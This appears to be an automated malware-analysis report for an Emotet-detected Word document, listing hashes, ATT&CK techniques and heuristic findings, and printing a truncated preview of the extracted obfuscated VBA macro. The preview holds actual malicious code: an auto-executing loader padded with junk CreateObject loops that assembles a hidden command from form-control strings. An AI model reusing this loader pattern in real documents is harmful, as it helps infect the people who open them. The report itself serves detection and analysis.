Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 dca1f72df40ae287…

MALICIOUS

Office (OLE)

132.6 KB Created: 2019-05-15 14:15:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: a94ab4ba42ac8f7be53ddbafa6ef7d49 SHA-1: add5b50b4bb95b6114bf3306f05410c9a5528008 SHA-256: dca1f72df40ae287350b5f56dee80a00c578ae6947e1cdc2b30e8a8729c570b3
382 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code T1071.001 Web Protocols

The sample contains critical heuristic firings indicating an obfuscated auto-exec VBA loader that uses CreateObject and WMI to launch processes. ClamAV also detected it as Emotet. The VBA script is heavily obfuscated and truncated, but the presence of CreateObject calls suggests it attempts to download and execute a second-stage payload, likely leveraging the embedded URL.

Heuristics 10

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9245 bytes
SHA-256: b5ba0c84486d718de2867792a98e326ada0ca74cf7d20bc733e325032540831d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "v401466"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "l_05133, 0, 0, MSForms, TextBox"
Attribute VB_Control = "z4339_15, 1, 1, MSForms, TextBox"
Attribute VB_Control = "F8375214, 2, 2, MSForms, TextBox"
Attribute VB_Control = "J27806, 3, 3, MSForms, TextBox"
Attribute VB_Control = "o01_4_3, 4, 4, MSForms, TextBox"
Attribute VB_Control = "D09392, 5, 5, MSForms, TextBox"

Attribute VB_Name = "q3_6353"

Attribute VB_Name = "T70790"

Attribute VB_Name = "i60777"

Attribute VB_Name = "I073564_"
Function L319461(Y8_630)
   While c616274 And l360_5_
            CreateObject ("O4_407")
            CreateObject ("u69944")
            CreateObject ("68151901")
            CreateObject ("565725348")
            CreateObject ("z_70_091")
Wend
   While B4663962 And q7948598
            CreateObject ("q28558_")
            CreateObject ("T53139")
            CreateObject ("652255230")
            CreateObject ("906837517")
            CreateObject ("O_60440")
Wend
Set L319461 = CVar(Y8_630)
   While J528925 And w63052
            CreateObject ("m82733")
            CreateObject ("o86_60")
            CreateObject ("103521459")
            CreateObject ("48834388")
            CreateObject ("i330570")
Wend
   While n03195 And I300948
            CreateObject ("t6639732")
            CreateObject ("L00177")
            CreateObject ("716292943")
            CreateObject ("863093937")
            CreateObject ("O231552")
Wend
   While w52997 And Z12846
            CreateObject ("o59192_")
            CreateObject ("o53320_3")
            CreateObject ("302259157")
            CreateObject ("526365172")
            CreateObject ("w4387414")
Wend
End Function
Sub _
 _
 _
autoopen()
On Error Resume Next
   While R61677 And J3302583
            CreateObject ("a92888")
            CreateObject ("c523091")
            CreateObject ("188195044")
            CreateObject ("434073327")
            CreateObject ("t66655")
Wend
   While A677204 And p35_993
            CreateObject ("q44734")
            CreateObject ("X21366")
            CreateObject ("1791137")
            CreateObject ("916319390")
            CreateObject ("r216784")
Wend
t_559653
   While j70244 And W282438
            CreateObject ("A450060")
            CreateObject ("P9320545")
            CreateObject ("434551534")
            CreateObject ("153798762")
            CreateObject ("H1611_")
Wend
   While v481_4 And B241972
            CreateObject ("t9242_28")
            CreateObject ("z85886")
            CreateObject ("360130359")
            CreateObject ("267640258")
            CreateObject ("m_05_903")
Wend
   While h9156_85 And h35244_
            CreateObject ("z82630")
            CreateObject ("I__0_0")
            CreateObject ("246010508")
            CreateObject ("261622307")
            CreateObject ("u_419863")
Wend
End Sub


Attribute VB_Name = "Q6094626"
Function t_559653()
On Error Resume Next
   While R68_06 And E23593
            CreateObject ("b925804")
            CreateObject ("Q418981")
            CreateObject ("266291697")
            CreateObject ("267784320")
            CreateObject ("s49470")
Wend
   While P770397 And a789914
            CreateObject ("u42437")
            CreateObject ("I58724")
            CreateObject ("59747307")
            CreateObject ("9726561")
            CreateObject ("h0585155")
Wend
i419778 = v401466.D09392 + v401466.z4339_15 + v401466.D09392 + v401466.F8375214 + v401466.D09392 + v401466.D09392 + v401466.J27806 + v401466.D09392 + v401466.D09392 + v401466.o01_4_3 + v401466.D09392 + v401466.l_05133 + v401466.D09392
   While X42742 And Y228018
            CreateObject ("r17711_")
            CreateObject ("h42974")
            CreateObject ("
... (truncated)